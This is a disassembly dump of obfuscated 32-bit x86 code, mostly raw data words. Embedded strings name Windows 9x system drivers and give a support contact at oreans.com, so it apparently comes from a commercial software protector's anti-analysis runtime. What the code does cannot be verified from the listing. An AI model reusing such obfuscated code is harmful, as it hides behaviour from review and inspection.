		dd 97C57Bh, 0E8722CCDh,	8644625Ah, 0EE4DD5D3h, 68094CB6h
		dd 1C15C4h, 52BB0000h, 0B5251FBBh, 4D742B06h, 0FAF2401Eh
		dd 4DD385F2h, 39D376D5h, 7FDC7FF7h, 0EB6DB11Ch,	5B929834h
		dd 0DC1812BEh, 599D973Bh, 0DE1C16BAh, 579B913Dh, 0CF0208A4h
		dd 57848E22h, 0CF000AA6h, 68E9822Eh, 15ABh, 53241489h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 4895C24h, 7D4D6824h
		dd 0C890000h, 4BD5524h,	8905ED83h, 242C8BE8h, 4C481h, 8B540000h
		dd 0C483240Ch, 4EC8104h
		dd 89000000h, 418F2404h, 240C8B08h, 81E18951h, 4C1h, 4C18100h
		dd 87000000h, 8B5C240Ch
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		dw 503Eh
		dd 31F31BD1h, 5A34C476h, 0A1E6B88Bh, 0C50305EDh, 0DDFAE0FFh
		dd 33D45BB9h, 0D3E643DFh, 361D2B13h, 0F3837D1Fh, 45A71CFCh
		dd 1CF6256h, 10E816C0h,	0F8000000h, 62702DF7h, 0C649E80Ch
		dd 3E0FA26Dh, 607F69E7h, 10E9FA8Ah, 21000000h, 6204C7B7h
		dd 0E5CF89D8h, 0EF04329Fh, 611BE13Ah, 81CF8B5Bh, 6CA3C3h
		dd 7BE4BE00h, 0F681228Fh, 228F6110h, 0FDD7F8B8h, 0E8138B72h
		dd 12h,	0FDE2CA1Eh, 0CEB1289Eh,	0E64FB2CAh, 0C10376D6h
		dd 8C0F6F8Dh, 5, 0FAE98166h, 0EA815F64h, 53F8D05Fh, 810F56h
		dd 5F000000h, 0B640C281h, 8D0F112Fh, 7,	18A0Fh,	81F90000h
		dd 7B2AD3F2h, 8D0F6064h, 2, 0EE9C68Bh, 8B000000h, 0C345F106h
		dd 74AF2D24h, 0CA4EFE3Eh, 0E9526132h, 10h, 745EF6EDh, 236FBA1Fh
		dd 7F6E414h, 4A5C3506h,	0B70F038Fh, 1EB83CFh, 4B4BFE8Bh
		dd 850F4E4Bh, 0FFFFFF6Dh, 34EBC3B4h, 4D534649h,	20205247h
		dd 20444B56h, 20202020h, 204D4D56h, 20202020h, 4E495756h
		dd 20203233h, 4C445856h, 20205244h, 3 dup(0)
		dd 753E9h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 6C661343h, 857680CBh, 880F14EBh
		dd 8, 8DDB8060h, 6132C580h, 0F8F560F8h,	0A39785C7h, 5EDh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 8BF716C3h, 91FE2BC4h, 8B3CC1B0h, 1820FC6h
		dd 0F5000000h, 0FD8B70Fh, 180h,	0E8C1F900h, 50006A10h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0A04096D0h, 8E86080h, 0EC000000h, 0C6106ED0h, 0E994DAB6h
		dd 0Eh,	5FDF793Eh, 664D96D7h, 79CB1376h, 0E85F23A2h, 6
		dd 0B111A38Ch, 8B667115h, 66615BC6h, 0F908C8C1h, 98C0Fh
		dd 0F9600000h, 0D954C381h, 89612538h, 0EDA39B85h, 0D68B6005h
		dd 0CE9h, 0DD951A00h, 7DCE7Ah, 0F55A66D9h, 890F6132h, 1
		dd 0CBC166F9h, 0FB83F508h, 41850F40h, 0F5000000h, 0A36FBD8Dh
		dd 6A05EDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0D0E9F2C3h, 0E9000001h, 14h, 0DA344498h
		dd 8DC89CBAh, 0FDE634F0h, 6C48EE7Ah, 0E298AD65h, 0F0DFB83h
		dd 4F85h, 8B666000h, 0EB860D6h,	8B189C73h, 0FC6161CFh
		dd 0A377BD8Dh, 810F05EDh, 10h, 0BE9h, 965AC100h, 20CA240Ah
		dd 6F7E1F98h, 17EE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0F5141801h, 0F01FB83h
		dd 4485h, 0BE900h, 724E0000h, 0E4044E4h, 0CA73D45Dh, 7FBD8D25h
		dd 0E905EDA3h, 0Ch, 0ABFF9107h,	6DE5AB9h, 0B10A45AEh, 129E9F5h
		dd 0E9600000h, 0Eh, 90989B62h, 8FE5BFB3h, 7C6732E8h, 0CA8B6913h
		dd 2AFB8361h, 0B5850Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0CE2A44C3h, 6060012Dh
		dd 0E681D68Bh, 6CE9FB70h, 12E961h, 0EDF90000h, 0FA95B9BCh
		dd 44483605h, 0B6BA3464h, 2E5AE966h, 0D820F61h,	60000000h
		dd 0B8F769BAh, 8B0F6Fh,	61000000h, 0A387BD8Dh, 6A05EDh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 6E998C3h, 9A000000h,	0D8C3991Eh, 78E0F40h, 0F000000h
		dd 18Ch, 74E9F500h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 3B16C357h, 83F541CBh
		dd 850F27FBh, 335h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 2DC35646h, 0E1925DBh,	60FCD854h, 61D3BF0Fh
		dd 0A38FBD8Dh, 0F6005EDh, 13E9DFBFh, 29000000h,	7B9010C8h
		dd 2ADFDE85h, 0D88BBBD7h, 9E7133B8h, 8961EEF4h,	0EDA39FBDh
		dd 0C870F05h, 0E9000000h, 7, 29F714E4h,	6683EE37h, 9E9C88Ch
		dd 0BE000000h, 693DB07Dh, 9617D535h, 6A0324h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0EDD437C3h
		dd 11E9A9h, 0FF140000h,	56C999F4h, 31297950h, 0EC37E7ACh
		dd 0A88E994h, 0E2850FC0h, 0F000001h, 128Ah, 0DE900h, 0ACF30000h
		dd 0FB799249h, 0FD60C4E2h, 8DCCE004h, 0EDA9FEB5h, 10E905h
		dd 2FE40000h, 1D438B54h, 0B3AA3A1Eh, 0BED8E139h, 5E91DC9h
		dd 93000000h, 0DBECCC03h, 0AAB2858Bh, 6A05EDh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 49DB91C3h, 60734AE7h, 604ECA92h, 45D7BAFCh, 6061656Ah
		dd 68EA8166h, 0D88166F4h, 50618EFFh, 15870Fh, 60600000h
		dd 0BE861h, 5B6C0000h, 0C7178C55h, 33C13124h, 896158C8h
		dd 8F0F2414h, 11h, 0B830Fh, 6E90000h, 12000000h, 3FC3E662h
		dd 0E8D0FA7h, 0E9000000h, 9, 0F8367551h, 568B19C8h, 4C010F72h
		dd 6AFE24h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 52FAF0C3h, 0C1A5CA5h, 0E9759E00h,	10h, 9FE42BFAh
		dd 0E4D0C23Bh, 0AA2B60A2h, 0E781757Ah, 1800F5Ah, 0F8000000h
		dd 6A24C283h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0F925C355h, 8B7871A5h,	0FC728966h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 78C35545h
		dd 661B1E0Ch, 6A10CEC1h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0A7B3C356h,	0E01BD07Fh
		dd 0F6CEBBDh, 18Ah, 8966F800h, 6A0272h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 26E52C3h
		dd 4CDF990h, 0BFE9FCh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 12E9D9C3h, 0AB000000h
		dd 0C47B21B7h, 82A1EA9Bh, 0C1EA3B47h, 7D32C36h,	0B2858B5Dh
		dd 6A05EDAAh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 5EACC352h, 12140152h, 19840F27h
		dd 0E9000000h, 14h, 0EAEF3437h,	90490A8Dh, 85B5179Ah, 5C6390A8h
		dd 7069BEF8h, 0A9FEB58Dh, 14E905EDh, 51000000h,	0CA04EF2Eh
		dd 0D3DA3F80h, 35CD9C95h, 625C6D1h, 8D59637Bh, 0ED7A6185h
		dd 0D0FFF805h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	44C35343h, 978589F5h, 0E905EDA3h, 9, 8ED4024Ah
		dd 815C9ADFh, 820F6108h, 1, 97858BFCh, 6A05EDA3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0E3B7C350h, 0AA785AEBh, 6AC3FCh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0F6CAAAC3h
		dd 0F17249Dh, 0A82h, 8A0F6000h,	0
aAaJ		db '`aa`j',0
		dw 0E857h
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 43C35747h, 0EBB9FA51h
		dd 674AE348h, 10E9C4h, 3A740000h, 1D92E5B8h, 0FF1F5F97h
		dd 38574F29h, 0BD8312A6h, 5EDAAB2h, 36850F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0F9A0C351h, 0AAB285C7h, 13F05EDh,	0F9600001h
		dd 4EBE6660h, 8A0FCDh, 61000000h, 2FE961h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 38C47AC3h, 40E72F0Dh, 60952F8Bh, 575BE780h, 5FD0F580h
		dd 20CD61h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 5EDA39Fh
		dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 5EDA39Bh, 7F34583Bh
		dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 5EDA397h, 8B04EBh
		dd 8B61C5EBh, 0EDA39785h, 0F5FCCF05h, 83E9C08Bh, 53000000h
		dd 57565251h, 1C245C8Bh, 4D3B8166h, 68850F5Ah, 0F000000h
		dd 33C43B7h, 3B8166D8h,	850F4550h, 57h,	3785B8Bh, 8B1C245Ch
		dd 74032473h, 8B561C24h, 738B207Bh, 247C031Ch, 24740320h
		dd 0C983FC20h, 5C8B41FFh, 178B1C24h, 20245403h,	8A04C783h
		dd 74C08402h, 75033A08h, 0EB4243E8h, 75033AF2h,	0E1D15FE0h
		dd 0F04B70Fh, 386048Bh,	5F1C2444h, 5B595A5Eh, 330008C2h
		dd 0FFF1E9C0h, 0CA8BFFFFh, 400E9h, 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		dd 10DFE900h, 0AE90000h, 0EE000000h, 0E8DA52C1h, 7A19E9D7h
		dd 19858BC2h, 6A05EA2Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 5BFBC356h, 0D99589CAh
		dd 3905EA16h, 0F042444h, 0AC85h, 0A1858900h, 0E905EA06h
		dd 10h,	7CCAB889h, 0E868DEE4h, 6E8A395h, 3D31C800h, 15DDBD83h
		dd 0F0005EAh, 8484h, 0C8B0F00h,	0F000000h, 686h, 71BD8900h
		dd 8D05EA14h, 0EA396985h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0DD1330D5h
		dd 894E4AD8h, 0EA1C2995h, 11890F05h, 0F000000h,	0B83h
		dd 6E900h, 5AF60000h, 19082225h, 6AE0FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 684769C3h
		dd 0D5BCA9EBh, 896CD588h, 0EA25D585h, 8D858B05h, 0F05EA1Ch
		dd 18Eh, 4439F500h, 850F0424h, 38h, 911B589h, 85C705EAh
		dd 5EDAF88h, 1,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	86C35242h, 0A0CDE993h, 1800F97h, 0FC000000h, 1BE9F860h
		dd 0E9000000h, 12h, 0DCEE8650h,	2BD66547h, 4EF65D10h, 0D725D152h
		dd 779Ch, 1B80000h, 87000000h, 0EDB0ED85h, 75C00B05h, 45B5FFF6h
		dd 8F05EA1Ah, 0EDAF8085h, 6A206A05h, 9995FFFFh,	8305EA29h
		dd 0EA1709BDh, 8740005h, 95FF006Ah, 5EA1015h, 1CD1BD83h
		dd 740105EAh, 80680Dh, 0FF6A0000h, 299995FFh, 6A05EAh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 38AD85C3h, 8830Fh, 820F0000h, 2, 0CE96160h, 66000000h
		dd 41A77598h, 81F0E038h, 0B83B7554h, 0
		dd 0D18B6660h, 797DCE81h, 0F610755h, 0C8Eh, 6890F00h, 89000000h
		dd 0EA20B995h, 24548B05h, 51006A28h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 41C83024h
		dd 852960DBh, 5EA3071h,	0A5BD2360h, 105EA10h, 0EA0D319Dh
		dd 89616105h, 0EA2D5D85h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0B84EFC13h
		dd 3CBEh, 7403F900h, 6A2424h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0A596BFC3h, 0DECA02D8h
		dd 0C890Fh, 7E90000h, 0E3000000h, 9A77F694h, 0AD661704h
		dd 0F18D2960h, 8B05EA28h, 0EA02619Dh, 44036105h, 6A2424h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 30D219C3h, 68C0F56h,	89000000h, 0EA08D995h, 52505005h
		dd 19810Fh, 14E90000h, 38000000h, 4F5B9EEEh, 0CC70D769h
		dd 3767534Bh, 9718CA6Ch, 0F960C70h, 2800F31h, 60000000h
		dd 89585A61h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0B6114EC3h, 77567683h, 8B70B07Ah
		dd 83F97840h, 0EDAF88BDh, 850F0005h, 0F2h, 2E1D9D01h, 605005EAh
		dd 0FA8B6653h, 61C18B5Fh, 6A240489h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0E4D2C352h
		dd 0B145AFA4h, 24448BF5h, 5090FC2Ch, 188A0F52h,	0E9000000h
		dd 13h,	51F969A9h, 0F707DDD0h, 42DBB4C2h, 0A438C5E2h, 0F49F3B3h
		dd 0B7BB6031h, 6634DADFh, 5A61D38Bh, 870F5058h,	11h, 0CE9h
		dd 33394500h, 8CB8AB20h, 2B97C9E8h, 6A9083h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0C6B080C3h
		dd 0F92816D6h, 2B858DC2h, 6A05ED7Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0E1C350h
		dd 0BD29665Dh, 5EA3139h, 6AD0FFF5h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 7A95C353h
		dd 44030356h, 0EE92824h, 17000000h, 0A7485F2Ah,	8824407Ah
		dd 73B6C16Ah, 0FE9ACh, 960F0000h, 0DF4726F5h, 0D107B5Dh
		dd 3CDD0F97h, 18408BDEh, 45BD01h, 0F54005EAh, 0AF848589h
		dd 0BD8905EDh, 5EA0BC5h, 7358D29h, 0F85805EAh, 6A78708Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 6452C351h, 4A70C56Ah, 6A1CC683h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 5FA8C356h, 0FE1A926h, 18Eh, 6A96F900h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 81A2C353h
		dd 24247Ch, 0F100000h, 14387h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 2C63A019h
		dd 0F3DADFCEh, 50503046h, 10800F52h, 0E9000000h, 0Bh, 947002Bh
		dd 0F66EDE32h, 0F699259h, 50525031h, 5A310F52h,	0E9310F58h
		dd 11h,	6A1A0AC4h, 0F44BEF3Bh, 0EAF94005h, 44E27BD7h, 5A585A36h
		dd 24048958h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	46C35242h, 7DB9779h, 448BF715h,	6A2824h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0AB63EDC3h, 31F8623Dh, 0EA30118Dh, 0E9605005h, 6, 849313DEh
		dd 8961CBD8h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0B53188C3h, 5EA0F15h, 7B2B858Dh
		dd 6A05EDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0B5E0A3C3h, 8AC30358h, 0E9DB2C7Eh, 7, 50F47834h
		dd 0FFE715F7h, 53006AD0h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0DE506571h, 0F93180BCh
		dd 57006A96h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 2961724Dh, 0EA05EDBDh, 7403FC05h, 6A2424h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 4AA578C3h, 0A1BD0189h, 8D05EA0Ah, 0EA17F9BDh, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0F8384B03h, 29DDBD29h, 13E905EAh, 36000000h,	3307D993h
		dd 412BADB6h, 1EA4B554h, 234C1263h, 60ADDEA3h, 0AFDB589h
		dd 816105EAh, 24247Ch, 0F100000h, 0B287h, 0FE900h, 0C2970000h
		dd 0DFA00514h, 0E762B7Ch, 1C55AB7Bh, 800F5042h,	4, 61585060h
		dd 6A240489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 27E9C356h, 2FCA9DD4h, 0E1800C9Ah
		dd 2A658589h, 8B6005EAh, 0EA0CE195h, 0F1BD8B05h, 6105EA00h
		dd 2824448Bh, 0DE950F9h, 74000000h, 5BC362B1h, 9F890832h
		dd 5BAB71B6h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 86D3C351h, 5E95EBFh
		dd 76000000h, 59ABDF65h, 7B2B858Dh, 8B6005EDh, 19589FBh
		dd 6105EA08h, 3FCD0FFh,	0E9242444h, 5, 0C3AC2D3Bh, 13E9AB3Dh
		dd 0CF000000h, 52064A80h, 9723A0D9h, 59FAF1D5h,	47AF34Eh
		dd 0FA814877h, 10000h, 74F820Fh, 0E8600000h, 0Dh, 9E427F89h
		dd 0FFAF3E07h, 0F4D25539h, 830F42h, 5F000000h, 5DBD8D61h
		dd 6005EA06h, 0BA5FBEF9h, 0AD612769h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 5BC35242h, 818C9D4Eh, 24247Ch
		dd 0F100000h, 0A487h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 8E950B2h, 46000000h, 0E3D7C2C0h
		dd 89DCA9CBh, 0BD892404h, 5EA00E1h, 6840Fh, 0BD090000h
		dd 5EA2C19h, 2824448Bh,	0EE9h, 917A8E00h, 853A9BF4h, 9920D1A7h
		dd 50AE6B6Dh, 6E9h, 58810C00h, 8929782Fh, 8DFC2404h, 0ED7B2B85h
		dd 19BD0905h, 6005EA09h, 89D9F480h, 0EA32FD8Dh,	0D0FF6105h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0D5C35545h
		dd 1A9D51Fh, 0EA161DB5h, 24440305h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0A30A5F1Ch
		dd 468D6EF7h, 0CE93Ah, 0E0030000h, 0D75094D5h, 2DB4FC61h
		dd 0F90067Fh, 0C87h, 6800F00h, 0F000000h, 8Bh, 52505000h
		dd 13E9h, 0E3576000h, 0D649584Bh, 0CAD028A7h, 0B9D4704h
		dd 39FE03E5h, 8E9310Fh,	0CE000000h, 46997B04h, 5A38F98Eh
		dd 6A9058h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 472C0AC3h, 9AC935B5h, 0B5313E26h,	5EA025Dh
		dd 0A3BB6660h, 0D98B66B9h, 6AAB61h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8DE4F6C3h
		dd 0EA1D61BDh, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 89ADF930h, 0EA02D99Dh
		dd 247C8105h, 28h, 85870F10h, 0F8000000h, 6840F50h, 60000000h
		dd 1056BF66h, 24048961h, 12D58D89h, 448B05EAh, 6A2C24h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0DBF451C3h, 0CC184982h, 608A4273h, 5AEB8A50h, 0E95061F8h
		dd 8, 352C4032h, 4A319F3Ah, 0F240489h, 88Ch, 2870F00h
		dd 60000000h, 59958961h, 8D05EA11h, 0ED7B2B85h,	6E905h
		dd 0BA280000h, 0E48ECB42h, 8589D0FFh, 5EA1EE1h,	28244403h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0F5C35343h
		dd 81096447h, 89000833h, 0EA259D9Dh, 95852905h,	0AB05EA11h
		dd 173DBD01h, 0FF5E05EAh, 0EDAF848Dh, 84BD8305h, 5EDAFh
		dd 0C0330A75h, 0BD96B58Dh, 0E6FF05EDh, 7C81AD56h, 2824h
		dd 0E771000h, 24448B50h, 858D502Ch, 5ED7B2Bh, 4403D0FFh
		dd 8B972824h, 80858ADFh, 8405EDAFh, 3A0474C0h, 574C7507h
		dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h
		dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h
		dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h,	0D2F7D575h
		dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h,	0FF04C683h
		dd 0EA2D5D85h, 0FF5DE905h, 0E95EFFFFh, 0Ah, 0A4174325h
		dd 0B5A585F0h, 9589028Bh, 5EA1021h, 2D5D858Bh, 6A05EAh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0EBE82EC3h, 13840Fh,	0EE90000h, 0CA000000h, 53F505D3h
		dd 95878DE9h, 3FFB1438h, 6AE0D12Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EC6BC357h
		dd 9FE15668h, 0B58B60F9h, 5EA0989h, 24D9589h, 36105EAh
		dd 0EA1D6185h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 6E98Fh, 0EA030000h, 43F608D9h
		dd 0C18B6660h, 358D0160h, 8105EA1Bh, 7972BED3h,	0BE61610Eh
		dd 0
		dd 8B6096F5h, 61BD33D3h, 6105EA0Fh, 6AAD66h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0E36EB5C3h
		dd 0F2896510h, 16FDB529h, 0E0C105EAh, 81666002h, 0B352A0DBh
		dd 85036105h, 5EA17F9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0CEC35646h, 5556AD4h,	6031A2C7h, 0F285FBEh
		dd 617DB267h, 13E86096h, 0EB000000h, 3F2EE1B7h,	0DBB27E38h
		dd 0EF9BE7D0h, 3D4E3B2Bh, 8166BEE7h, 586DEAD0h,	30759D03h
		dd 0AD6105EAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	3AC35141h, 35747CBAh, 0E8607972h, 0Fh, 5A02C8DBh
		dd 0D9EF3989h, 790CA99Bh, 60D6A4ADh, 8C0F5B61h,	6, 24CD9D89h
		dd 816105EAh, 24247Ch, 0F100000h, 0F287h, 18F0F00h, 0F9000000h
		dd 0F48A6090h, 50618EB2h, 12E9h, 0F0F12B00h, 10FB5708h
		dd 16C5488Dh, 0E144331Dh, 90645BFDh, 8159D31h, 448B05EAh
		dd 0B5012824h, 5EA0359h, 0FE860h, 49890000h, 39610A95h
		dd 0BA82F257h, 7B02DB74h, 0F5B5892Fh, 5805EA19h, 509061F9h
		dd 50525052h, 5A310F52h, 0F310F58h, 8Ah, 0F585A00h, 810F6031h
		dd 0
		dd 5A616160h, 52505058h, 665B5160h, 61D378BEh, 5760310Fh
		dd 615A5358h, 2990585Ah, 0EA0C8DB5h, 2B858D05h,	6A05ED7Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 5D1C355h,	8983871Bh, 0EA32B59Dh, 0D0FFF805h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 89C35343h
		dd 0AC3E32A9h, 0FF9CCEAh, 683h,	99B58900h, 305EA1Ch, 6A242444h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 53CAC351h, 89F57274h, 6A1C2444h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 881AC352h, 60052C30h, 9E9h, 0A614B500h, 0B2605376h
		dd 0B589489Dh, 5EA1CEDh, 9852961h, 0C605EA16h, 0EA1A4585h
		dd 85C70005h, 5EDB0EDh,	0
		dd 0AF8885C7h, 5EDh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0B34B6CC3h, 0B5895388h
		dd 5EA0D7Dh, 2D598589h,	6A05EAh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0D1E1D0C3h, 0C1F835DAh
		dd 6D850934h, 6105EA2Dh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 0FEC35646h, 0FE9h, 0A9B04900h, 30C6B1Bh
		dd 6705B597h, 0F3A68B49h, 1800Fh, 0C2F90000h, 6A0008h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 436903C3h, 5ACAE63Bh, 0AE906C1h, 97000000h, 0B9CC1ED7h
		dd 3BAEA485h, 0F9858B63h, 0E905EA17h, 0Dh, 2F600648h, 0D3FBB850h
		dd 89EE7D24h, 85896075h, 5EA1331h, 8D894A61h, 5EA2305h
		dd 6A04D26Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 335C352h, 11E9h, 1C42C500h, 9BB8F0C1h
		dd 52CDB37Eh, 0DD90026Eh, 5160DC47h, 13D574B9h,	0F9605E08h
		dd 61615950h, 0BD89C203h, 5EA318Dh, 50006A96h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0AD9CB630h
		dd 2981B529h, 7C8105EAh, 2424h,	870F1000h, 109h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B7C35343h, 2CB9BD29h
		dd 90FC05EAh, 5E9h, 0EE035500h,	60508277h, 8B66D68Bh, 0F59061D9h
		dd 2824448Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 19h,	1C35747h, 2CAAEDA7h, 69B52967h,	9005EA2Ch, 6906B860h
		dd 5F52694Ch, 850F5061h, 8, 28E0Fh, 61600000h, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 9072C27Dh, 2E00FC6Dh, 0B1958928h, 6005EA1Bh,	13E9h
		dd 6F915700h, 0FEDA4090h, 0AFE35BB2h, 9CA98B4Ah, 83A94881h
		dd 2B858D61h, 6A05ED7Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 376C352h, 606F8DC1h
		dd 2C9BD89h, 858905EAh,	5EA2981h, 0FD0FF61h, 0C8Eh, 6840F00h
		dd 89000000h, 0EA1A8DB5h, 0FD09E905h, 8D0FFFFFh, 1, 87858DF9h
		dd 0F05EDC3h, 68Fh, 51858900h, 5005EA20h, 0FE9h, 0A0C7A300h
		dd 0A3565A01h, 0F52EF7E3h, 0C0DA3AAEh, 60240489h, 11E8h
		dd 0AE380F00h, 95337C87h, 63D5B97Ch, 76FF8613h,	0D08B7EEAh
		dd 7DDA8159h, 616A4D80h, 35FF64h, 89000000h, 0EA0BC5BDh
		dd 0BD8B6005h, 5EA1EA9h, 11BD8D03h, 8B6105EAh, 6A2404h
